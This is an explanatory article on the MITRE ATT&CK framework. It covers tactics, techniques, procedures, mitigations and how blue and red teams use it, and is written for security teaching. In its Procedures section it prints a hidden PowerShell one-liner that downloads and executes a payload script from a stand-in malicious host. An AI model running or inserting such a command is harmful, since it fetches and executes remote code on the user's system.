
MITRE ATT&CK
Olusegun Fajobi
Cybersecurity Engineer (Blue and Red Teamer)
https://github.com/samfajobi
MITRE ATT&CK

What is MITRE ATT&CK

MITRE ATT&CK is a global knowledge base of real-world Cyberattack techniques used by hackers. It is like a dictionary of how attackers operate, from the moment they try to break into the moment they steal data.

It is a globally accessible knowledge base of adversary tactics and techniques based on real-world threats and threat actors (APT groups). It was developed to improve the understanding of how cyber attacks are performed and to highlight the various phases of an adversary/threat attack lifecycle, what software they employ and the OS's they target.

ATT&CK stands for: **A**dversarial **T**actics **T**echniques **& C**ommon **K**nowledge

It is valuable and mostly used by Red & Blue Teamers to plan, implement and orchestrate engagement based on specific threat and actors/APTs. It helps blue teamers with details of the various TTPs used by specific threat actors and provides companies with valuable cyber threat intelligence (CTI) that can consequently be used to implement defenses and mitigations.

Why MITRE ATT&CK?

MITRE ATT&CK categorizes adversaries' techniques into a collection of tactics further organized into techniques, sub-techniques and procedures (TTPs).

Before the MITRE ATT&CK, cybersecurity teams struggled to describe attacks consistently, everyone used different terms. M.A solved this by giving a single global language for describing hacking behavior. Now blue teamers, red teamers, threat hunters, all use ATT&CK to classify attacks, write detection, improve Defense, perform investigations e.t.c. M.A uses a standard way of naming and describing attacker behaviors (TTPs) and hacker groups (APTs).

How MITRE ATT&CK is structured

MITRE ATT&CK is organized into key levels:

1. **Tactics**;

The attacker's high-level goals or objective. Think of this as the "Why" behind an attacker's actions. Tactics categorize each step of the adversary's attack methodology.

Examples of common tactics are:

- Initial Access
- Execution
- Persistence
- Credential Access

2. **Techniques;**

Think of this as the "How" attackers achieve those goals.

Techniques describe specific methods attackers uses to carry out tactics or how each tactics is orchestrated. It describes action taken by adversary to achieve their objectives.

Examples;

- Phishing (T1566) -----> Initial Access tactic
- Powershell (T1059.001) ------> Execution tactic
- Pass-the-Hash (T1550.002) -------> Credential Access Tactic

3. Sub-Techniques;

This entails a detailed variation of techniques. Many techniques have multiple ways to execute them. Sub-techniques outline the implementation of a specific technique in details.

Example:

Technique: Phishing (T1566)

- T1566.001 ---> Spear phishing Attachment
- T1566.002 ---> Spearphising Link
- T1566.003 ---> Spearphishing via Services

These sub-techniques explain exactly how the attack was delivered.

4. Procedures;

Procedures outline all known implementations of a techniques or sub-techniques. Procedures shows the exact real-wordl method an attacker uses to perform a technique. It gives details of the step-by-step, real-world method attackers use to carry out a technique.

Example:

Technique:

T1059 – Command and Scripting Interpreter

Procedure (real-world behavior):

An attacker using PowerShell to download malware:

“

powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')"

“

This is a **procedure** — a real method used in an attack campaign

4. Mitigations;

Mitigations are **defensive controls**, things defenders (SOC analysts, blue team, security engineers) can implement to stop or limit attacks *before* or *during* execution

Example to Make It Crystal Clear

Technique: T1059 – Command and Scripting Interpreter

Attackers use PowerShell, Python, Bash, etc., to run malicious code.

Mitigation examples**:**

- Disable PowerShell remoting
- Use Constrained Language Mode in PowerShell
- Application Allowlisting (AppLocker)
- Limit admin privileges
- Monitor script execution policies

These prevent the attacker from abusing scripts.

As a SOC analyst, you use MITRE mitigations to:

- Recommend preventive security controls
- Understand how attacks can be stopped before detection
- Build better defenses (firewall rules, EDR restrictions)

Bottom Line

- TTPs show how attackers operate.
- Mitigations show how to stop them.

Mitigations = defensive strategies that reduce the likelihood or impact of each attack technique.

Why SOC Analysts Must Learn MITRE ATT&CK

Strengthens detection engineering with attacker-focused logic
→ You build detections based on real adversary behaviors instead of blind pattern matching.

Improves threat hunting by mapping behaviors, not just IOCs
→ This helps you find evolving or unknown threats that don't rely on signatures.

Standardizes investigations across tools and teams
→ Everyone speaks the same TTP language, reducing confusion and speeding up analysis.

Helps analysts understand attacker intent and next steps
→ You can predict where the attacker will move next and cut off their path.

Enhances alert triage by linking events to real TTPs
→ False positives drop because alerts are mapped to meaningful attacker techniques.

Guides both prevention and response strategies
→ ATT&CK shows what controls to improve and how to respond when techniques appear.

Why Red Teamers Should Learn It

Plan realistic attack simulations
→ MITRE ATT&CK helps you design scenarios that mirror real-world adversary behavior instead of generic hacking attempts.

Emulate real threat actors
→ You can model campaigns after specific groups (APT-style operations) using their known TTPs.

Speak the same language as defenders
→ Using TTP-based communication makes collaboration with blue teams clearer during purple team exercises.

Break attacks into atomic steps
→ ATT&CK lets you structure complex operations into small, testable technique-level actions.

Real-World Use Cases of the MITRE ATT&CK Framework

Below are **strong, practical, industry-grade** examples that show how MITRE ATT&CK is used.

---

1. Detection Engineering & Alert Creation (Blue Team / SOC Analysts)

Companies use MITRE ATT&CK to design detections for specific attacker behaviors.

Example:

Let's say you want to detect **credential dumping**.
That behavior is mapped to:

- **Tactic:** Credential Access
- **Technique: T1003 – Credential Dumping**

A SOC team will:

- Identify the logs needed (Sysmon, Event Logs, EDR)
- Build detections (e.g., suspicious LSASS access)
- Create alerts in SIEMs (Splunk, ELK, Sentinel, Wazuh)
- Test them using real attack simulations

Outcome: Your SOC gains high-quality alerts that map directly to real threat actors.

2. Red Team Attack Simulation (Adversary Emulation)

Red teams use ATT&CK to copy real threat groups like APT28 or APT29.

Example:

A red team plans a simulation based on:

- **Tactic: Initial Access → Phishing (T1566)**
- **Tactic: Privilege Escalation → Exploitation (T1068)**
- **Tactic: Persistence → Registry Run Keys (T1547)**
- **Tactic: Defense Evasion → Obfuscation (T1027)**

The organization then tests whether:

- Firewalls blocked the attack
- EDR detected the movement
- SIEM raised alerts

Outcome:
You strengthen your defenses using real adversary behavior.

Here's a quick look at the official MITRE ATT&CK interface, where security teams explore techniques, threat groups, and real-world attack mappings.